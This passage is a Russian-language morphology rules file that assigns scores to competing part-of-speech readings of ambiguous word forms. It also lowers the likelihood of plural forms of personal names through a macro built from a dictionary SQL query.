wordform_score "адыгейском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:адыгейский{} и СУЩЕСТВИТЕЛЬНОЕ:Адыгейск{}
wordform_score "комсомольском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:комсомольский{} и СУЩЕСТВИТЕЛЬНОЕ:Комсомольск{}
wordform_score "комсомольском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:комсомольский{} и СУЩЕСТВИТЕЛЬНОЕ:Комсомольск{}
wordform_score "апшеронском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:апшеронский{} и СУЩЕСТВИТЕЛЬНОЕ:Апшеронск{}
wordform_score "апшеронском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:апшеронский{} и СУЩЕСТВИТЕЛЬНОЕ:Апшеронск{}
wordform_score "тайна" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:тайный{}
wordform_score "тайна" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:тайна{}
wordform_score "коробило" { БЕЗЛИЧ_ГЛАГОЛ } = 1 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{}
wordform_score "коробило" { ГЛАГОЛ } = -2 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{}
wordform_score "коробит" { БЕЗЛИЧ_ГЛАГОЛ } = 1 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{}
wordform_score "коробит" { ГЛАГОЛ } = -2 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{}
wordform_score "казалось" { БЕЗЛИЧ_ГЛАГОЛ } = 1 // БЕЗЛИЧ_ГЛАГОЛ:кажется{} и ГЛАГОЛ:казаться{}
wordform_score "казалось" { ГЛАГОЛ } = -2 // БЕЗЛИЧ_ГЛАГОЛ:кажется{} и ГЛАГОЛ:казаться{}
wordform_score "канал" { ГЛАГОЛ } = -5 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{}
wordform_score "канал" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{}
wordform_score "канала" { ГЛАГОЛ } = 1 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{}
wordform_score "канала" { СУЩЕСТВИТЕЛЬНОЕ } = 1000000 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{}
wordform_score "чай" { ГЛАГОЛ } = -10 // чаять
wordform_score "чай" { СУЩЕСТВИТЕЛЬНОЕ } = 0 // чай
wordform_score "чай" { частица } = -2 // чай
wordform_score "чай" { наречие } = -5
wordform_score "готов" { прилагательное } = 1
wordform_score "готов" { существительное } = -1
wordform_score "извести" { инфинитив } = -1
wordform_score "извести" { существительное } = 1
wordform_score "нашли" { наклонение:изъяв } = 1
wordform_score "нашли" { наклонение:побуд } = -5
// ----
wordform_score "брехни" { глагол } = -1 // брехня брехни --> брехнуть брехни
wordform_score "бузил" { существительное } = -1 // бузила бузил --> бузить бузил
wordform_score "бурей" { глагол } = -1 // буря бурей --> буреть бурей
wordform_score "бюллетень" { глагол } = -1 // бюллетень бюллетень --> бюллетенить бюллетень
wordform_score "возрасту" { глагол } = -1 // возраст возрасту --> возрасти возрасту
wordform_score "воплю" { глагол } = -1 // вопль воплю --> вопить воплю
wordform_score "врали" { существительное } = -1 // враль врали --> врать врали
wordform_score "гвозди" { глагол } = -1 // гвоздь гвозди --> гвоздить гвозди
wordform_score "Глашу" { глагол } = -1 // Глаша Глашу --> гласить глашу
wordform_score "голубей" { глагол } = -1 // голубь голубей --> голубеть голубей
wordform_score "гряду" { глагол } = -1 // гряда гряду --> грясти гряду
wordform_score "Дорою" { существительное } = -1 // Дора Дорою --> дорыть дорою
wordform_score "дох" { глагол } = -1 // доха дох --> дохнуть дох
wordform_score "драконят" { существительное } = -1 // драконенок драконят --> драконить драконят
wordform_score "дублю" { глагол } = -1 // дубль дублю --> дубить дублю
wordform_score "дули" { существительное } = -1 // дуля дули --> дуть дули
wordform_score "ежу" { глагол } = -1 // еж ежу --> ежить ежу
wordform_score "жал" { существительное } = -1 // жало жал --> жать жал
wordform_score "жигану" { глагол } = -1 // жиган жигану --> жигануть жигану
wordform_score "завали" { существительное } = -1 // заваль завали --> завалить завали
wordform_score "замшей" { глагол } = -1 // замша замшей --> замшеть замшей
wordform_score "зарей" { глагол } = -1 // заря зарей --> зареять зарей
wordform_score "затей" { глагол } = -1 // затея затей --> затеять затей
wordform_score "затею" { глагол } = -1 // затея затею --> затеять затею
wordform_score "затону" { существительное } = -1 // затон затону --> затонуть затону
wordform_score "знахарю" { глагол } = -1 // знахарь знахарю --> знахарить знахарю
wordform_score "изморозь" { глагол } = -1 // изморозь изморозь --> изморозить изморозь
wordform_score "канитель" { глагол } = -1 // канитель канитель --> канителить канитель
wordform_score "ковали" { существительное } = -1 // коваль ковали --> ковать ковали
wordform_score "кучу" { глагол } = -1 // куча кучу --> кутить кучу
wordform_score "лохмачу" { существительное } = -1 // лохмач лохмачу --> лохматить лохмачу
wordform_score "матерей" { глагол } = -5 // мать матерей --> матереть матерей
wordform_score "матери" { глагол } = -5 // мать матери --> материть матери
wordform_score "метель" { глагол } = -1 // метель метель --> метелить метель
wordform_score "мини" { глагол } = -1 // мини мини --> минуть мини
wordform_score "минут" { глагол } = -1 // минута минут --> минуть минут
wordform_score "молоди" { глагол } = -1 // молодь молоди --> молодить молоди
wordform_score "батрачат" { существительное } = -1 // батрачонок батрачат --> батрачить батрачат
wordform_score "бузила" { существительное } = -1 // бузила бузила --> бузить бузила
wordform_score "времени" { глагол } = -1 // время времени --> временить времени
wordform_score "дурней" { глагол } = -1 // дурень дурней --> дурнеть дурней
wordform_score "наймите" { существительное } = -1 // наймит наймите --> нанять наймите
wordform_score "накипи" { глагол } = -1 // накипь накипи --> накипеть накипи
wordform_score "нарвал" { существительное } = -1 // нарвал нарвал --> нарвать нарвал
wordform_score "нарвала" { существительное } = -1 // нарвал нарвала --> нарвать нарвала
wordform_score "нарой" { существительное } = -1 // нара нарой --> нарыть нарой
wordform_score "пари" { глагол } = -1 // пари пари --> парить пари
wordform_score "пастушат" { глагол } = -1 // пастушонок пастушат --> пастушить пастушат
wordform_score "пасу" { существительное } = -1 // пас пасу --> пасти пасу
wordform_score "пень" { глагол } = -1 // пень пень --> пенить пень
wordform_score "пеню" { глагол } = -1 // пеня пеню --> пенить пеню
wordform_score "передам" { существительное } = -1 // перед передам --> передать передам
wordform_score "печаль" { глагол } = -1 // печаль печаль --> печалить печаль
wordform_score "подтеки" { глагол } = -1 // подтек подтеки --> подтечь подтеки
wordform_score "постригу" { существительное } = -1 // постриг постригу --> постричь постригу
wordform_score "проем" { глагол } = -1 // проем проем --> проесть проем
wordform_score "простой" { глагол } = -1 // простой простой --> простоять простой
wordform_score "пряди" { глагол } = -1 // прядь пряди --> прясть пряди
wordform_score "разъем" { глагол } = -1 // разъем разъем --> разъесть разъем
wordform_score "ржу" { существительное } = -1 // ржа ржу --> ржать ржу
wordform_score "ругани" { глагол } = -1 // ругань ругани --> ругануть ругани
wordform_score "сбои" { глагол } = -1 // сбой сбои --> сбоить сбои
wordform_score "секретарь" { глагол } = -1 // секретарь секретарь --> секретарить секретарь
wordform_score "скину" { существительное } = -1 // скин скину --> скинуть скину
wordform_score "слесарь" { глагол } = -1 // слесарь слесарь --> слесарить слесарь
wordform_score "случаем" { глагол } = -1 // случай случаем --> случать случаем
wordform_score "соловей" { глагол } = -1 // соловей соловей --> соловеть соловей
wordform_score "спирали" { глагол } = -1 // спираль спирали --> спирать спирали
wordform_score "старь" { глагол } = -1 // старь старь --> старить старь
wordform_score "струи" { глагол } = -1 // струя струи --> струить струи
wordform_score "такелажу" { глагол } = -1 // такелаж такелажу --> такелажить такелажу
wordform_score "участи" { глагол } = -1 // участь участи --> участить участи
wordform_score "хмелю" { глагол } = -10 // хмель хмелю --> хмелить хмелю
wordform_score "чаем" { глагол } = -10 // чай чаем --> чаять чаем
wordform_score "замшею" { глагол } = -1 // замша замшею --> замшеть замшею
wordform_score "зелени" { глагол } = -1 // зелень зелени --> зеленить зелени
wordform_score "знахарь" { глагол } = -1 // знахарь знахарь --> знахарить знахарь
wordform_score "канифоль" { глагол } = -1 // канифоль канифоль --> канифолить канифоль
wordform_score "лужу" { глагол } = -1 // лужа лужу --> лудить лужу
wordform_score "матерей" { глагол } = -1 // матерь матерей --> матереть матерей
wordform_score "матери" { глагол } = -1 // матерь матери --> материть матери
wordform_score "мелей" { глагол } = -1 // мель мелей --> мелеть мелей
wordform_score "мыло" { глагол } = -1 // мыло мыло --> мыть мыло
wordform_score "обезьянят" { существительное } = -1 // обезьяненок обезьянят --> обезьянить обезьянят
wordform_score "объем" { глагол } = -1 // объем объем --> объесть объем
wordform_score "осени" { глагол } = -1 // осень осени --> осенить осени
wordform_score "отмели" { глагол } = -1 // отмель отмели --> отмолоть отмели
wordform_score "перла" { существительное } = -1 // перл перла --> переть перла
wordform_score "пил" { существительное } = -1 // пила пил --> пить пил
wordform_score "пищали" { существительное } = -1 // пищаль пищали --> пищать пищали
wordform_score "поволок" { существительное } = -1 // поволока поволок --> поволочь поволок
wordform_score "поволоку" { существительное } = -1 // поволока поволоку --> поволочь поволоку
wordform_score "покой" { глагол } = -5 // покой покой --> покоить покой
wordform_score "покою" { глагол } = -5 // покой покою --> покоить покою
wordform_score "полет" { глагол } = -1 // полет полет --> полоть полет
wordform_score "полете" { глагол } = -1 // полет полете --> полоть полете
wordform_score "полю" { глагол } = -1 // поле полю --> полоть полю
wordform_score "примеси" { глагол } = -1 // примесь примеси --> примесить примеси
wordform_score "примету" { глагол } = -1 // примета примету --> примести примету
wordform_score "припас" { существительное } = -1 // припас припас --> припасти припас
wordform_score "продела" { существительное } = -1 // продел продела --> продеть продела
wordform_score "просек" { существительное } = -1 // просека просек --> просечь просек
wordform_score "пущу" { существительное } = -1 // пуща пущу --> пустить пущу
wordform_score "пьяни" { глагол } = -1 // пьянь пьяни --> пьянить пьяни
wordform_score "сбою" { глагол } = -1 // сбой сбою --> сбоить сбою
wordform_score "свечу" { глагол } = -1 // свеча свечу --> светить свечу
wordform_score "секретарю" { глагол } = -1 // секретарь секретарю --> секретарить секретарю
wordform_score "случай" { глагол } = -5 // случай случай --> случать случай
wordform_score "случаю" { глагол } = -5 // случай случаю --> случать случаю
wordform_score "слюни" { глагол } = -1 // слюна слюни --> слюнить слюни
wordform_score "смог" { существительное } = -1 // смог смог --> смочь смог
wordform_score "смогу" { существительное } = -1 // смог смогу --> смочь смогу
wordform_score "собачат" { существительное } = -1 // собаченок собачат --> собачить собачат
wordform_score "совести" { глагол } = -1 // совесть совести --> совестить совести
wordform_score "спас" { существительное } = -1 // спас спас --> спасти спас
wordform_score "стай" { глагол } = -1 // стая стай --> стаять стай
wordform_score "стаю" { глагол } = -1 // стая стаю --> стаять стаю
wordform_score "струю" { глагол } = -1 // струя струю --> струить струю
wordform_score "стужу" { глагол } = -1 // стужа стужу --> студить стужу
wordform_score "сучат" { существительное } = -1 // сучонок сучат --> сучить сучат
wordform_score "тлей" { глагол } = -1 // тля тлей --> тлеть тлей
wordform_score "толщу" { глагол } = -1 // толща толщу --> толстить толщу
wordform_score "царю" { глагол } = -4 // царь царю --> царить царю ==> Ну а поздно вечером довелось удивиться и царю.
wordform_score "чащу" { глагол } = -1 // чаща чащу --> частить чащу
wordform_score "чаю" { глагол } = -10 // чай чаю --> чаять чаю
wordform_score "ширь" { глагол } = -1 // ширь ширь --> ширить ширь
wordform_score "штурману" { глагол } = -1 // штурман штурману --> штурмануть штурману
wordform_score "щурят" { существительное } = -1 // щуренок щурят --> щурить щурят
wordform_score "гноя" { деепричастие } = -4 // гной гноя --> гноя гноя
wordform_score "гостя" { деепричастие } = -1 // гость гостя --> гостя гостя
wordform_score "душа" { деепричастие } = -1 // душ душа --> душа душа
wordform_score "катя" { деепричастие } = -4 // Катя Катя --> катя катя
wordform_score "колея" { деепричастие } = -1 // колея колея --> колея колея
wordform_score "костя" { деепричастие } = -1 // Костя Костя --> костя костя
wordform_score "нарыв" { деепричастие } = -1 // нарыв нарыв --> нарыв нарыв
wordform_score "отлив" { деепричастие } = -1 // отлив отлив --> отлив отлив
wordform_score "отпоров" { существительное } = -1 // отпор отпоров --> отпоров отпоров
wordform_score "отрыв" { деепричастие } = -1 // отрыв отрыв --> отрыв отрыв
wordform_score "подлив" { существительное } = -1 // подлива подлив --> подлив подлив
wordform_score "покоя" { деепричастие } = -1 // покой покоя --> покоя покоя
wordform_score "прилив" { деепричастие } = -1 // прилив прилив --> прилив прилив
wordform_score "пузыря" { деепричастие } = -1 // пузырь пузыря --> пузыря пузыря
wordform_score "руля" { деепричастие } = -1 // руль руля --> руля руля
wordform_score "селя" { деепричастие } = -1 // сель селя --> селя селя
wordform_score "случая" { деепричастие } = -1 // случай случая --> случая случая
wordform_score "сторожа" { деепричастие } = -1 // сторож сторожа --> сторожа сторожа
wordform_score "суша" { деепричастие } = -1 // суша суша --> суша суша
wordform_score "туша" { деепричастие } = -1 // туш туша --> туша туша
wordform_score "хмеля" { деепричастие } = -1 // хмель хмеля --> хмеля хмеля
wordform_score "валя" { деепричастие } = -1 // Валя Валя --> валя валя
wordform_score "варя" { деепричастие } = -1 // Варя Варя --> варя варя
wordform_score "гвоздя" { деепричастие } = -1 // гвоздь гвоздя --> гвоздя гвоздя
wordform_score "голубя" { деепричастие } = -1 // голубь голубя --> голубя голубя
wordform_score "горя" { деепричастие } = -1 // горе горя --> горя горя
wordform_score "клея" { деепричастие } = -1 // клей клея --> клея клея
wordform_score "неволя" { деепричастие } = -1 // неволя неволя --> неволя неволя
wordform_score "отколов" { существительное } = -1 // откол отколов --> отколов отколов
wordform_score "переборов" { существительное } = -1 // перебор переборов --> переборов переборов
wordform_score "подлив" { существительное } = -1 // подлив подлив --> подлив подлив
wordform_score "подрыв" { деепричастие } = -1 // подрыв подрыв --> подрыв подрыв
wordform_score "полив" { деепричастие } = -1 // полив полив --> полив полив
wordform_score "пошив" { деепричастие } = -1 // пошив пошив --> пошив пошив
wordform_score "чая" { деепричастие } = -10 // чай чая --> чая чая
wordform_score "струя" { деепричастие } = -1 // струя струя --> струя струя
wordform_score "белков" { прилагательное } = -1 // белок белков --> белковый белков
wordform_score "витой" { существительное } = -1 // Вита Витой --> витой витой
wordform_score "вожатом" { прилагательное } = -1 // вожатый вожатом --> вожатый вожатом
wordform_score "вожатым" { прилагательное } = -1 // вожатый вожатым --> вожатый вожатым
wordform_score "вожатых" { прилагательное } = -1 // вожатый вожатых --> вожатый вожатых
wordform_score "гола" { прилагательное } = -1 // гол гола --> голый гола
wordform_score "вороной" { прилагательное } = -1 // ворона вороной --> вороной вороной
wordform_score "голы" { прилагательное } = -1 // гол голы --> голый голы
wordform_score "гусиной" { существительное } = -1 // Гусина Гусиной --> гусиный гусиной
wordform_score "гусиным" { существительное } = -1 // Гусин Гусиным --> гусиный гусиным
wordform_score "гусиными" { существительное } = -1 // Гусин Гусиными --> гусиный гусиными
wordform_score "добро" { прилагательное } = -1 // добро добро --> добрый добро
wordform_score "долги" { прилагательное } = -1 // долг долги --> долгий долги
wordform_score "готов" { существительное } = -1 // гот готов --> готовый готов
wordform_score "звонки" { прилагательное } = -1 // звонок звонки --> звонкий звонки
wordform_score "звонок" { прилагательное } = -1 // звонок звонок --> звонкий звонок
wordform_score "лаком" { прилагательное } = -1 // лак лаком --> лакомый лаком
wordform_score "лев" { прилагательное } = -1 // лев лев --> левый лев
wordform_score "лишаем" { прилагательное } = -1 // лишай лишаем --> лишаемый лишаем
wordform_score "сладка" { существительное } = -10 // сладка сладка --> сладкий сладка
wordform_score "сладкой" { существительное } = -1 // сладка сладкой --> сладкий сладкой
wordform_score "сладкою" { существительное } = -1 // сладка сладкою --> сладкий сладкою
wordform_score "сладок" { существительное } = -1 // сладка сладок --> сладкий сладок
wordform_score "темен" { существительное } = -1 // темя темен --> темный темен
wordform_score "тонной" { прилагательное } = -1 // тонна тонной --> тонный тонной
wordform_score "ужат" { существительное } = -1 // ужонок ужат --> ужатый ужат
wordform_score "этой" { существительное } = -5 // эта этой --> этот этой
wordform_score "рада" { существительное } = -1 // Рада Рада --> рад рада
wordform_score "рады" { существительное } = -1 // Рада Рады --> рад рады
wordform_score "столиком" { прилагательное } = -1 // столик столиком --> столикий столиком
wordform_score "теми" { существительное } = -1 // темь теми --> тот теми
wordform_score "тонною" { прилагательное } = -1 // тонна тонною --> тонный тонною
wordform_score "ужата" { существительное } = -1 // ужонок ужата --> ужатый ужата
wordform_score "эта" { существительное } = -3 // эта эта --> этот эта
wordform_score "этою" { существительное } = -1 // эта этою --> этот этою
wordform_score "эту" { существительное } = -3 // эта эту --> этот эту
// ------------------------
// Для имен и некоторых существительных на -ИЕ варианты множественного числа
// обычно не употребляются, поэтому мы можем априори предположить пониженную достоверность.
// Этот макрос далее используется для перечисления таких слов.
#define DiscountPlural(w) wordform_score w { существительное число:мн } = -2
/*
-- список форм получен из SQL словаря запросом:
select distinct 'DiscountPlural('+F.name+')'
from sg_entry E, sg_link L, sg_entry E2, sg_entry_coord EC, sg_form F, sg_form_coord FC
where E.id_class=9 and
L.id_entry1=E.id and L.istate=50 and E2.id=L.id_entry2 and E2.name='ИМЯ' and
EC.id_entry=E.id and EC.icoord=14 and EC.istate=1 and
F.id_entry=E.id and
FC.id_entry=E.id and FC.iform=F.iform and FC.icoord=13 and FC.istate=1
*/
DiscountPlural(Авдотий)
DiscountPlural(Авдотьи)
DiscountPlural(Авдотьям)
DiscountPlural(Авдотьями)
DiscountPlural(Авдотьях)
DiscountPlural(Агафий)
DiscountPlural(Агафьи)
DiscountPlural(Агафьям)
DiscountPlural(Агафьями)
DiscountPlural(Агафьях)
DiscountPlural(Агнии)
DiscountPlural(Агний)
DiscountPlural(Агниям)
DiscountPlural(Агниями)
DiscountPlural(Агниях)
DiscountPlural(Азалии)
DiscountPlural(Азалий)
DiscountPlural(Азалиям)
DiscountPlural(Азалиями)
DiscountPlural(Азалиях)
DiscountPlural(Аксиний)
DiscountPlural(Аксиньи)
DiscountPlural(Аксиньям)
DiscountPlural(Аксиньями)
DiscountPlural(Аксиньях)
DiscountPlural(Амалии)
DiscountPlural(Амалий)
DiscountPlural(Амалиям)
DiscountPlural(Амалиями)
DiscountPlural(Амалиях)
DiscountPlural(Анастасии)
DiscountPlural(Анастасий)
DiscountPlural(Анастасиям)
DiscountPlural(Анастасиями)
DiscountPlural(Анастасиях)
DiscountPlural(Анисий)
DiscountPlural(Анисьи)
DiscountPlural(Анисьям)
DiscountPlural(Анисьями)
DiscountPlural(Анисьях)
DiscountPlural(Аполлинарии)
DiscountPlural(Аполлинарий)
DiscountPlural(Аполлинариям)
DiscountPlural(Аполлинариями)
DiscountPlural(Аполлинариях)
DiscountPlural(Апраксии)
DiscountPlural(Апраксий)
DiscountPlural(Апраксиям)
DiscountPlural(Апраксиями)
DiscountPlural(Апраксиях)
DiscountPlural(Валерии)
DiscountPlural(Валерий)
DiscountPlural(Валериям)
DiscountPlural(Валериями)
DiscountPlural(Валериях)
DiscountPlural(Виктории)
DiscountPlural(Викторий)
DiscountPlural(Викториям)
DiscountPlural(Викториями)
DiscountPlural(Викториях)
DiscountPlural(Виргинии)
DiscountPlural(Виргиний)
DiscountPlural(Виргиниям)
DiscountPlural(Виргиниями)
DiscountPlural(Виргиниях)
DiscountPlural(Виталии)
DiscountPlural(Виталий)
DiscountPlural(Виталиям)
DiscountPlural(Виталиями)
DiscountPlural(Виталиях)
DiscountPlural(Гликерии)
DiscountPlural(Гликерий)
DiscountPlural(Гликериям)
DiscountPlural(Гликериями)
DiscountPlural(Гликериях)
DiscountPlural(Гортензии)
DiscountPlural(Гортензий)
DiscountPlural(Гортензиям)
DiscountPlural(Гортензиями)
DiscountPlural(Гортензиях)
DiscountPlural(Дарий)
DiscountPlural(Дарьи)
DiscountPlural(Дарьям)
DiscountPlural(Дарьями)
DiscountPlural(Дарьях)
DiscountPlural(Денисии)
DiscountPlural(Денисий)
DiscountPlural(Денисиям)
DiscountPlural(Денисиями)
DiscountPlural(Денисиях)
DiscountPlural(Евгении)
DiscountPlural(Евгений)
DiscountPlural(Евгениям)
DiscountPlural(Евгениями)
DiscountPlural(Евгениях)
DiscountPlural(Евдокии)
DiscountPlural(Евдокий)
DiscountPlural(Евдокиям)
DiscountPlural(Евдокиями)
DiscountPlural(Евдокиях)
DiscountPlural(Евдоксии)
DiscountPlural(Евдоксий)
DiscountPlural(Евдоксиям)
DiscountPlural(Евдоксиями)
DiscountPlural(Евдоксиях)
DiscountPlural(Евлалии)
DiscountPlural(Евлалий)
DiscountPlural(Евлалиям)
DiscountPlural(Евлалиями)
DiscountPlural(Евлалиях)
DiscountPlural(Евлампии)
DiscountPlural(Евлампий)
DiscountPlural(Евлампиям)
DiscountPlural(Евлампиями)
DiscountPlural(Евлампиях)
DiscountPlural(Евпраксии)
DiscountPlural(Евпраксий)
DiscountPlural(Евпраксиям)
DiscountPlural(Евпраксиями)
DiscountPlural(Евпраксиях)
DiscountPlural(Евстолии)
DiscountPlural(Евстолий)
DiscountPlural(Евстолиям)
DiscountPlural(Евстолиями)
DiscountPlural(Евстолиях)
DiscountPlural(Евфимии)
DiscountPlural(Евфимий)
DiscountPlural(Евфимиям)
DiscountPlural(Евфимиями)
DiscountPlural(Евфимиях)
DiscountPlural(Евфросинии)
DiscountPlural(Евфросиний)
DiscountPlural(Евфросиниям)
DiscountPlural(Евфросиниями)
DiscountPlural(Евфросиниях)
DiscountPlural(Епистимии)
DiscountPlural(Епистимий)
DiscountPlural(Епистимиям)
DiscountPlural(Епистимиями)
DiscountPlural(Епистимиях)
DiscountPlural(Ефимии)
DiscountPlural(Ефимий)
DiscountPlural(Ефимиям)
DiscountPlural(Ефимиями)
DiscountPlural(Ефимиях)
DiscountPlural(Ефросинии)
DiscountPlural(Ефросиний)
DiscountPlural(Ефросиниям)
DiscountPlural(Ефросиниями)
DiscountPlural(Ефросиниях)
DiscountPlural(Ефросиньи)
DiscountPlural(Ефросиньям)
DiscountPlural(Ефросиньями)
DiscountPlural(Ефросиньях)
DiscountPlural(Зиновии)
DiscountPlural(Зиновий)
DiscountPlural(Зиновиям)
DiscountPlural(Зиновиями)
DiscountPlural(Зиновиях)
DiscountPlural(Ии)
DiscountPlural(Ий)
DiscountPlural(Иям)
DiscountPlural(Иями)
DiscountPlural(Иях)
DiscountPlural(Калерии)
DiscountPlural(Калерий)
DiscountPlural(Калериям)
DiscountPlural(Калериями)
DiscountPlural(Калериях)
DiscountPlural(Клавдии)
DiscountPlural(Клавдий)
DiscountPlural(Клавдиям)
DiscountPlural(Клавдиями)
DiscountPlural(Клавдиях)
DiscountPlural(Конкордии)
DiscountPlural(Конкордий)
DiscountPlural(Конкордиям)
DiscountPlural(Конкордиями)
DiscountPlural(Конкордиях)
DiscountPlural(Констанции)
DiscountPlural(Констанций)
DiscountPlural(Констанциям)
DiscountPlural(Констанциями)
DiscountPlural(Констанциях)
DiscountPlural(Корнелии)
DiscountPlural(Корнелий)
DiscountPlural(Корнелиям)
DiscountPlural(Корнелиями)
DiscountPlural(Корнелиях)
DiscountPlural(Ксении)
DiscountPlural(Ксений)
DiscountPlural(Ксениям)
DiscountPlural(Ксениями)
DiscountPlural(Ксениях)
DiscountPlural(Леокадии)
DiscountPlural(Леокадий)
DiscountPlural(Леокадиям)
DiscountPlural(Леокадиями)
DiscountPlural(Леокадиях)
DiscountPlural(Лидии)
DiscountPlural(Лидий)
DiscountPlural(Лидиям)
DiscountPlural(Лидиями)
DiscountPlural(Лидиях)
DiscountPlural(Лии)
DiscountPlural(Лий)
DiscountPlural(Лилии)
DiscountPlural(Лилий)
DiscountPlural(Лилиям)
DiscountPlural(Лилиями)
DiscountPlural(Лилиях)
DiscountPlural(Лиям)
DiscountPlural(Лиями)
DiscountPlural(Лиях)
DiscountPlural(Лукерий)
DiscountPlural(Лукерьи)
DiscountPlural(Лукерьям)
DiscountPlural(Лукерьями)
DiscountPlural(Лукерьях)
DiscountPlural(Лукреции)
DiscountPlural(Лукреций)
DiscountPlural(Лукрециям)
DiscountPlural(Лукрециями)
DiscountPlural(Лукрециях)
DiscountPlural(Малании)
DiscountPlural(Маланий)
DiscountPlural(Маланиям)
DiscountPlural(Маланиями)
DiscountPlural(Маланиях)
DiscountPlural(Маланьи)
DiscountPlural(Маланьям)
DiscountPlural(Маланьями)
DiscountPlural(Маланьях)
DiscountPlural(Марии)
DiscountPlural(Марий)
DiscountPlural(Мариям)
DiscountPlural(Мариями)
DiscountPlural(Мариях)
DiscountPlural(Марьи)
DiscountPlural(Марьям)
DiscountPlural(Марьями)
DiscountPlural(Марьях)
DiscountPlural(матрон)
DiscountPlural(матронам)
DiscountPlural(матронами)
DiscountPlural(матронах)
DiscountPlural(матроны)
DiscountPlural(Мелании)
DiscountPlural(Меланий)
DiscountPlural(Меланиям)
DiscountPlural(Меланиями)
DiscountPlural(Меланиях)
DiscountPlural(Настасии)
DiscountPlural(Настасий)
DiscountPlural(Настасиям)
DiscountPlural(Настасиями)
DiscountPlural(Настасиях)
DiscountPlural(Настасьи)
DiscountPlural(Настасьям)
DiscountPlural(Настасьями)
DiscountPlural(Настасьях)
DiscountPlural(Наталии)
DiscountPlural(Наталий)
DiscountPlural(Наталиям)
DiscountPlural(Наталиями)
DiscountPlural(Наталиях)
DiscountPlural(Натальи)
DiscountPlural(Натальям)
DiscountPlural(Натальями)
DiscountPlural(Натальях)
DiscountPlural(Оливии)
DiscountPlural(Оливий)
DiscountPlural(Оливиям)
DiscountPlural(Оливиями)
DiscountPlural(Оливиях)
DiscountPlural(Олимпии)
DiscountPlural(Олимпий)
DiscountPlural(Олимпиям)
DiscountPlural(Олимпиями)
DiscountPlural(Олимпиях)
DiscountPlural(Поликсении)
DiscountPlural(Поликсений)
DiscountPlural(Поликсениям)
DiscountPlural(Поликсениями)
DiscountPlural(Поликсениях)
DiscountPlural(Прасковий)
DiscountPlural(Прасковьи)
DiscountPlural(Прасковьям)
DiscountPlural(Прасковьями)
DiscountPlural(Прасковьях)
DiscountPlural(Пульхерии)
DiscountPlural(Пульхерий)
DiscountPlural(Пульхериям)
DiscountPlural(Пульхериями)
DiscountPlural(Пульхериях)
DiscountPlural(Розалии)
DiscountPlural(Розалий)
DiscountPlural(Розалиям)
DiscountPlural(Розалиями)
DiscountPlural(Розалиях)
DiscountPlural(светкам)
DiscountPlural(светками)
DiscountPlural(светках)
DiscountPlural(светки)
DiscountPlural(светок)
DiscountPlural(Сильвии)
DiscountPlural(Сильвий)
DiscountPlural(Сильвиям)
DiscountPlural(Сильвиями)
DiscountPlural(Сильвиях)
DiscountPlural(Соломонии)
DiscountPlural(Соломоний)
DiscountPlural(Соломониям)
DiscountPlural(Соломониями)
DiscountPlural(Соломониях)
DiscountPlural(Софии)
DiscountPlural(Софий)
DiscountPlural(Софиям)
DiscountPlural(Софиями)
DiscountPlural(Софиях)
DiscountPlural(Стефании)
DiscountPlural(Стефаний)
DiscountPlural(Стефаниям)
DiscountPlural(Стефаниями)
DiscountPlural(Стефаниях)
DiscountPlural(Таисии)
DiscountPlural(Таисий)
DiscountPlural(Таисиям)
DiscountPlural(Таисиями)
DiscountPlural(Таисиях)
DiscountPlural(Таисьи)
DiscountPlural(Таисьям)
DiscountPlural(Таисьями)
DiscountPlural(Таисьях)
DiscountPlural(томкам)
DiscountPlural(томками)
DiscountPlural(томках)
DiscountPlural(томки)
DiscountPlural(томок)
DiscountPlural(Устинии)
DiscountPlural(Устиний)
DiscountPlural(Устиниям)
DiscountPlural(Устиниями)
DiscountPlural(Устиниях)
DiscountPlural(Устиньи)
DiscountPlural(Устиньям)
DiscountPlural(Устиньями)
DiscountPlural(Устиньях)
DiscountPlural(Февронии)
DiscountPlural(Февроний)
DiscountPlural(Феврониям)
DiscountPlural(Феврониями)
DiscountPlural(Феврониях)
DiscountPlural(Февроньи)
DiscountPlural(Февроньям)
DiscountPlural(Февроньями)
DiscountPlural(Февроньях)
DiscountPlural(Федосии)
DiscountPlural(Федосий)
DiscountPlural(Федосиям)
DiscountPlural(Федосиями)
DiscountPlural(Федосиях)
DiscountPlural(Федосьи)
DiscountPlural(Федосьям)
DiscountPlural(Федосьями)
DiscountPlural(Федосьях)
DiscountPlural(Федотии)
DiscountPlural(Федотий)
DiscountPlural(Федотиям)
DiscountPlural(Федотиями)
DiscountPlural(Федотиях)
DiscountPlural(Федотьи)
DiscountPlural(Федотьям)
DiscountPlural(Федотьями)
DiscountPlural(Федотьях)
DiscountPlural(Фелиции)
DiscountPlural(Фелиций)
DiscountPlural(Фелициям)
DiscountPlural(Фелициями)
DiscountPlural(Фелициях)
DiscountPlural(Феодосии)
DiscountPlural(Феодосий)
DiscountPlural(Феодосиям)
DiscountPlural(Феодосиями)
DiscountPlural(Феодосиях)
DiscountPlural(Феодотии)
DiscountPlural(Феодотий)
DiscountPlural(Феодотиям)
DiscountPlural(Феодотиями)
DiscountPlural(Феодотиях)
DiscountPlural(Феофании)
DiscountPlural(Феофаний)
DiscountPlural(Феофаниям)
DiscountPlural(Феофаниями)
DiscountPlural(Феофаниях)
DiscountPlural(Фетинии)
